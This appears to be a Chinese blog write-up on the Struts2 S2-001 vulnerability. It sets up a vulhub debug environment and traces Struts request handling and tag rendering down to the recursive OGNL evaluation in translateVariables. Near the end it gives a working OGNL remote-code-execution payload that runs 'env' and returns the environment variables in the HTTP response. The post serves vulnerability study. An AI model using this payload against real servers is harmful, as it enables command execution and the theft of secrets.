Struts2-001 漏洞环境搭建与调试分析

本文详细介绍了 Struts2-001 漏洞的环境搭建、请求处理流程调试及漏洞利用的深入分析,帮助读者理解其原理与调试方法。

Struts2-001

Strusts下载链接,可以使用vulhub

代码调试环境搭建

本文采用项目一般启动方式,也可以直接使用vulhub运行docker环境之后进行jvm远程调试。

新建项目

新建项目

目录结构如下所示: 新建项目目录结构

将vulhub中s2-001的代码粘贴覆盖到webapp目录中

s2-001

添加项目库(右键--->添加为库),这样才能代码调试

lib中的包添加到项目库

设置断点,启动调试tomcat:

调试tomcat

关闭所有断点,执行剩余代码,尝试是否正常运行: 运行尝试

result

网络请求调试(对请求不感兴趣的可以不看)

根据web.xml配置

<filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

这是一个过滤器,会过滤我们的请求(通过执行org.apache.struts2.dispatcher.FilterDispatcher类的doFilter进行过滤),我们先跟踪这里:

QQ_1737422779052

FilterDispatcher

doFilter

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)res;
        ServletContext servletContext = this.getServletContext();
        String timerKey = "FilterDispatcher_doFilter: ";

        try {
            UtilTimerStack.push(timerKey);
            request = this.prepareDispatcherAndWrapRequest(request, response);

            ActionMapping mapping;
            try {
                mapping = actionMapper.getMapping(request, this.dispatcher.getConfigurationManager());
            } catch (Exception ex) {
                LOG.error("error getting ActionMapping", ex);
                this.dispatcher.sendError(request, response, servletContext, 500, ex);
                return;
            }

            if (mapping == null) {
                String resourcePath = RequestUtils.getServletPath(request);
                if ("".equals(resourcePath) && null != request.getPathInfo()) {
                    resourcePath = request.getPathInfo();
                }

                if (serveStatic && resourcePath.startsWith("/struts")) {
                    String name = resourcePath.substring("/struts".length());
                    this.findStaticResource(name, request, response);
                } else {
                    chain.doFilter(request, response);
                }
            } else {
                this.dispatcher.serviceAction(request, response, servletContext, mapping);
            }
        } finally {
            try {
                ActionContextCleanUp.cleanUp(req);
            } finally {
                UtilTimerStack.pop(timerKey);
            }
        }
    }
  1. 先获取请求,创建ServletContext(获取当前 Servlet 的上下文(ServletContext),用于在后续的操作中访问应用程序的环境信息)。
  2. 进行prepareDispatcherAndWrapRequest处理:
    1. 代码先进行初始化Dispatcher(管理请求分发和处理请求),
    2. 之后WrapRequest进行请求包装,对multipart/form-data类型的请求进行特殊处理(处理文件上传等,可以跟进代码查看如何parse,这里不再跟进)。
    3. 之后返回请求。
  3. 获取ActionMapping,根据当前请求获取相应的ActionMapping(这里进行解析url并找到对应的Action类),ActionMapping描述了请求映射到哪个Action类以及这个Action类如何配置。如果在获取 ActionMapping 时发生异常,日志会记录该错误,并且调用 sendError 方法向客户端发送 500 错误响应。

Mapping

  1. 如果没有找到对应的action映射,这解析路径,查看是否为静态资源请求,如果也不是静态资源请求那么传递给下一个过滤器。

  2. 如果找到Mapping,则执行ServiceAction

  3. 最后清理上下文,并结束计时。

接下来我们跟踪serviceAction:

public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {
        Map<String, Object> extraContext = this.createContextMap(request, response, mapping, context);
        ValueStack stack = (ValueStack)request.getAttribute("struts.valueStack");
        if (stack != null) {
            extraContext.put("com.opensymphony.xwork2.util.ValueStack.ValueStack", ValueStackFactory.getFactory().createValueStack(stack));
        }

        String timerKey = "Handling request from Dispatcher";

        try {
            UtilTimerStack.push(timerKey);
            String namespace = mapping.getNamespace();
            String name = mapping.getName();
            String method = mapping.getMethod();
            Configuration config = this.configurationManager.getConfiguration();
            ActionProxy proxy = ((ActionProxyFactory)config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, extraContext, true, false);
            proxy.setMethod(method);
            request.setAttribute("struts.valueStack", proxy.getInvocation().getStack());
            if (mapping.getResult() != null) {
                Result result = mapping.getResult();
                result.execute(proxy.getInvocation());
            } else {
                proxy.execute();
            }

            if (stack != null) {
                request.setAttribute("struts.valueStack", stack);
            }
        } catch (ConfigurationException e) {
            LOG.error("Could not find action or result", e);
            this.sendError(request, response, context, 404, e);
        } catch (Exception e) {
            throw new ServletException(e);
        } finally {
            UtilTimerStack.pop(timerKey);
        }

    }
  1. 先创建一个用于执行 Action 的上下文信息 (extraContext),跟进去查看下源码,都是一些请求参数session等放在这里面,以及上面的servletContext也被放在里面了

  2. 获取ValueStack,检查是否存在请求中如果不存在,那么创建一个放进extraContext

  3. 获取 Action 的名称、命名空间和方法

  4. namespace:Action 的命名空间(之后可以看看是啥样的)。

  5. name:Action 的名称,即类名。

  6. method:Action 中要调用的方法名。

  7. 获取配置并创建ActionProxy:

    1. Configuration:获取配置管理器的配置对象。
    2. ActionProxyFactory:通过 ActionProxyFactory 创建一个 ActionProxy 对象,ActionProxy 是执行 Action 的核心对象。它负责实际执行 Action,调用其方法,并处理结果。

    Configuration

  8. 将当前Action执行的ValueStack存储在请求中

  9. mapping.getResult():检查 ActionMapping 是否有指定的 Result 对象。如果有,执行该 Result,通常是根据结果类型(如视图、重定向等)返回相应的响应。

    proxy.execute():如果没有指定特定的 Result,则直接执行 ActionProxy,通过调用 Action 的方法来处理请求。(之后可以跟进会执行invocation的invoke方法,之后执行所有的Interception,最后执行下面的executeresult,最后执行ServeletDispatcherResult)

Interceptor

ServeletDispatcherResult

这里dispatcher.forward就是将请求和回复发送到其他页面

之前是一些请求处理流程,接下来返回渲染jsp时存在利用点:

漏洞利用调试

下面是页面代码

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p>

<s:form action="login">
	<s:textfield name="username" label="username" />
	<s:textfield name="password" label="password" />
	<s:submit></s:submit>
</s:form>
</body>
</html>
  1. 注册标签库

    <%@ taglib prefix="s" uri="/struts-tags" %>

    通过注册标签库来告诉 JSP 容器如何处理这些标签(前缀为s的标签)。相关的 struts-tags.tld 文件定义了标签及其处理类.

    TextField处理类

  2. 标签类实现

    以TextFieldTag类为例:

    
    public class TextFieldTag extends AbstractUITag {
        private static final long serialVersionUID = 5811285953670562288L;
        protected String maxlength;
        protected String readonly;
        protected String size;
    
        public TextFieldTag() {
        }
    
        public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) {
            return new TextField(stack, req, res);
        }
    
        protected void populateParams() {
            super.populateParams();
            TextField textField = (TextField)this.component;
            textField.setMaxlength(this.maxlength);
            textField.setReadonly(this.readonly);
            textField.setSize(this.size);
        }
    
        /** @deprecated */
        public void setMaxLength(String maxlength) {
            this.maxlength = maxlength;
        }
    
        public void setMaxlength(String maxlength) {
            this.maxlength = maxlength;
        }
    
        public void setReadonly(String readonly) {
            this.readonly = readonly;
        }
    
        public void setSize(String size) {
            this.size = size;
        }
    }
  3. 处理标签流程

    1. jsp容器读取标签库(uri=“/struts-tags”)

    2. 解析标签库(寻找对应的struts-tags.tld)文件,textField标签对应的TextFieldTag

      <s:textfield name="username" label="username" />
    3. 标签转发到 Struts2 的 TagSupport 类

      Struts2 会创建标签的处理类实例(如 FormTag)并调用其 doStartTag()doEndTag() 方法。标签的属性(如 actionmethod)会传递到标签类中。

    4. 执行标签逻辑,渲染输出

  4. 那么现在跟进TextFiledTag类,找到对应的doStartTag()doEndTag() 方法

    找到继承的父类:

    
    public abstract class ComponentTagSupport extends StrutsBodyTagSupport {
        protected Component component;
    
        public ComponentTagSupport() {
        }
    
        public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3);
    
        public int doEndTag() throws JspException {
            this.component.end(this.pageContext.getOut(), this.getBody());
            this.component = null;
            return 6;
        }
    
        public int doStartTag() throws JspException {
            this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
            Container container = Dispatcher.getInstance().getContainer();
            container.inject(this.component);
            this.populateParams();
            boolean evalBody = this.component.start(this.pageContext.getOut());
            if (evalBody) {
                return this.component.usesBody() ? 2 : 1;
            } else {
                return 0;
            }
        }
    
        protected void populateParams() {
            this.component.setId(this.id);
        }
    
        public Component getComponent() {
            return this.component;
        }
    }
    

    我们在doEndTag设置断点,之后在执行完上面的dispatchForward之后会执行到这里:

    doStartTag

    end执行过程

    跟进evaluateParams方法:

    public void evaluateParams() {
            this.addParameter("templateDir", this.getTemplateDir());
            this.addParameter("theme", this.getTheme());
            String name = null;
            if (this.key != null) {
                if (this.name == null) {
                    this.name = this.key;
                }
    
                if (this.label == null) {
                    this.label = "%{getText('" + this.key + "')}";
                }
            }
    
            if (this.name != null) {
                name = this.findString(this.name);
                this.addParameter("name", name);
            }
    
            if (this.label != null) {
                this.addParameter("label", this.findString(this.label));
            }
    
            if (this.labelPosition != null) {
                this.addParameter("labelposition", this.findString(this.labelPosition));
            }
    
            if (this.requiredposition != null) {
                this.addParameter("requiredposition", this.findString(this.requiredposition));
            }
    
            if (this.required != null) {
                this.addParameter("required", this.findValue(this.required, Boolean.class));
            }
    
            if (this.disabled != null) {
                this.addParameter("disabled", this.findValue(this.disabled, Boolean.class));
            }
    
            if (this.tabindex != null) {
                this.addParameter("tabindex", this.findString(this.tabindex));
            }
    
            if (this.onclick != null) {
                this.addParameter("onclick", this.findString(this.onclick));
            }
    
            if (this.ondblclick != null) {
                this.addParameter("ondblclick", this.findString(this.ondblclick));
            }
    
            if (this.onmousedown != null) {
                this.addParameter("onmousedown", this.findString(this.onmousedown));
            }
    
            if (this.onmouseup != null) {
                this.addParameter("onmouseup", this.findString(this.onmouseup));
            }
    
            if (this.onmouseover != null) {
                this.addParameter("onmouseover", this.findString(this.onmouseover));
            }
    
            if (this.onmousemove != null) {
                this.addParameter("onmousemove", this.findString(this.onmousemove));
            }
    
            if (this.onmouseout != null) {
                this.addParameter("onmouseout", this.findString(this.onmouseout));
            }
    
            if (this.onfocus != null) {
                this.addParameter("onfocus", this.findString(this.onfocus));
            }
    
            if (this.onblur != null) {
                this.addParameter("onblur", this.findString(this.onblur));
            }
    
            if (this.onkeypress != null) {
                this.addParameter("onkeypress", this.findString(this.onkeypress));
            }
    
            if (this.onkeydown != null) {
                this.addParameter("onkeydown", this.findString(this.onkeydown));
            }
    
            if (this.onkeyup != null) {
                this.addParameter("onkeyup", this.findString(this.onkeyup));
            }
    
            if (this.onselect != null) {
                this.addParameter("onselect", this.findString(this.onselect));
            }
    
            if (this.onchange != null) {
                this.addParameter("onchange", this.findString(this.onchange));
            }
    
            if (this.accesskey != null) {
                this.addParameter("accesskey", this.findString(this.accesskey));
            }
    
            if (this.cssClass != null) {
                this.addParameter("cssClass", this.findString(this.cssClass));
            }
    
            if (this.cssStyle != null) {
                this.addParameter("cssStyle", this.findString(this.cssStyle));
            }
    
            if (this.title != null) {
                this.addParameter("title", this.findString(this.title));
            }
    
            if (this.parameters.containsKey("value")) {
                this.parameters.put("nameValue", this.parameters.get("value"));
            } else if (this.evaluateNameValue()) {
                Class valueClazz = this.getValueClassType();
                if (valueClazz != null) {
                    if (this.value != null) {
                        this.addParameter("nameValue", this.findValue(this.value, valueClazz));
                    } else if (name != null) {
                        String expr = name;
                        if (this.altSyntax()) {
                            expr = "%{" + name + "}";
                        }
    
                        this.addParameter("nameValue", this.findValue(expr, valueClazz));
                    }
                } else if (this.value != null) {
                    this.addParameter("nameValue", this.findValue(this.value));
                } else if (name != null) {
                    this.addParameter("nameValue", this.findValue(name));
                }
            }
    
            Form form = (Form)this.findAncestor(Form.class);
            this.populateComponentHtmlId(form);
            if (form != null) {
                this.addParameter("form", form.getParameters());
                if (name != null) {
                    List tags = (List)form.getParameters().get("tagNames");
                    tags.add(name);
                }
            }
    
            if (this.tooltipConfig != null) {
                this.addParameter("tooltipConfig", this.findValue(this.tooltipConfig));
            }
    
            if (this.tooltip != null) {
                this.addParameter("tooltip", this.findString(this.tooltip));
                Map tooltipConfigMap = this.getTooltipConfig(this);
                if (form != null) {
                    form.addParameter("hasTooltip", Boolean.TRUE);
                    Map overallTooltipConfigMap = this.getTooltipConfig(form);
                    overallTooltipConfigMap.putAll(tooltipConfigMap);
    
                    for(Map.Entry entry : overallTooltipConfigMap.entrySet()) {
                        this.addParameter((String)entry.getKey(), entry.getValue());
                    }
                } else {
                    LOG.warn("No ancestor Form found, javascript based tooltip will not work, however standard HTML tooltip using alt and title attribute will still work ");
                }
            }
    
            this.evaluateExtraParams();
        }

    前面都是些赋值操作,通过调试这些属性大多不是我们可控的,但是在调试过程执行的时候我们会看到有findValue函数,跟进看看:

        protected Object findValue(String expr, Class toType) {
            if (this.altSyntax() && toType == String.class) {
                return TextParseUtil.translateVariables('%', expr, this.stack);
            } else {
                if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
                    expr = expr.substring(2, expr.length() - 1);
                }
    
                return this.getStack().findValue(expr, toType);
            }
        }
    

    调试至findValue

    跟着调试的步骤 我们进入了if语句里面,再跟进去看看

    translateVariables过程

    translatesVariables实现

    
    
        public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
            Object result = expression;
    
            while(true) {
                int start = expression.indexOf(open + "{");
                int length = expression.length();
                int x = start + 2;
                int count = 1;
    
                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }
    
                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
                }
    
                String var = expression.substring(start + 2, end);
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
    
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }
    
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
    
                    expression = left + o + right;
                } else {
                    result = left + right;
                    expression = left + right;
                }
            }
        }
    

    这个函数大体看一下会解析变量 ,并且是一个死循环,只有一个return语句,就是当字符串不存在{的时候会返回最后的结果。

    继续跟进,直到: translateVariables跟进

    接下来跟进findValue:

    findValue跟进

    执行getValue

    执行之后会获取值,并直接返回。这个值是我们可控的,那么这个时候,返回之后,由于程序是一个死循环,会一直检查表达式中是否有{}存在,

    返回值被组合成expression

    求值后再次进行解析

  5. 继续跟进findValue

    跟进findValue

    之后通过getValue获取到表达式的执行结果:

    结果

    最后直接返回: 返回结果

    最后表达式为2退出while循环。

  6. 找一些payload:

    根据代码:

    
        public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException {
            OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
            Object result = ((Node)tree).getValue(ognlContext, root);
            if (resultType != null) {
                result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType);
            }
    
            return result;
        }
    

    最后执行的是Ognl表达式:

    
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    解释:

    %{ 
      #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(), 
      #b=#a.getInputStream(), 
      #c=new java.io.InputStreamReader(#b), 
      #d=new java.io.BufferedReader(#c), 
      #e=new char[50000], 
      #d.read(#e), 
      #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), 
      #f.getWriter().println(new java.lang.String(#e)), 
      #f.getWriter().flush(), 
      #f.getWriter().close()
    }
    
    • 创建并执行进程
    #a = (new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start()

    ProcessBuilder 是用于创建和启动本地操作系统进程的类。这里,它启动了一个新的进程来执行命令 env,该命令输出当前系统的环境变量。

    redirectErrorStream(true) 会将标准错误流和标准输出流合并,这样所有的输出都可以通过同一个流来读取。start() 启动进程并返回一个 Process 对象。

    • 获取进程输出
    #b=#a.getInputStream()

    #a.getInputStream() 获取该进程的标准输出流。也就是 env 命令的输出内容

    • 读取进程输出
    #c = new java.io.InputStreamReader(#b)

    #b 是进程的输入流(即标准输出流),InputStreamReader 是一个将字节流转换为字符流的类,它将 #b 包装成字符流 #c

    #d = new java.io.BufferedReader(#c)

    BufferedReader 是一个用于高效读取字符流的类,#c 被包装成 BufferedReader 以便更方便地逐行读取输入流。

    #e = new char[50000],
    #d.read(#e),

    #e 是一个字符数组,用于存储从 BufferedReader 中读取的环境变量数据。读取进程的输出流内容并将其存储到字符数组 #e 中。

    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), 
    #f.getWriter().println(new java.lang.String(#e)), 
    #f.getWriter().flush(), 
    #f.getWriter().close()

    从 OGNL 上下文中获取 HttpServletResponse 对象。HttpServletResponse 用于向客户端返回响应。#f.getWriter() 获取 HttpServletResponsePrintWriter,它用于向客户端输出数据。new java.lang.String(#e) 将字符数组 #e 转换成字符串,输出到客户端。flush() 方法将 PrintWriter 中缓冲的内容写入响应流中。close() 关闭输出流。

    S2-005

    Struts2 在解析参数时,将所有参数名都使用了 OGNL 来解析,构成了这个漏洞。

留言讨论

0 条留言

正在加载留言...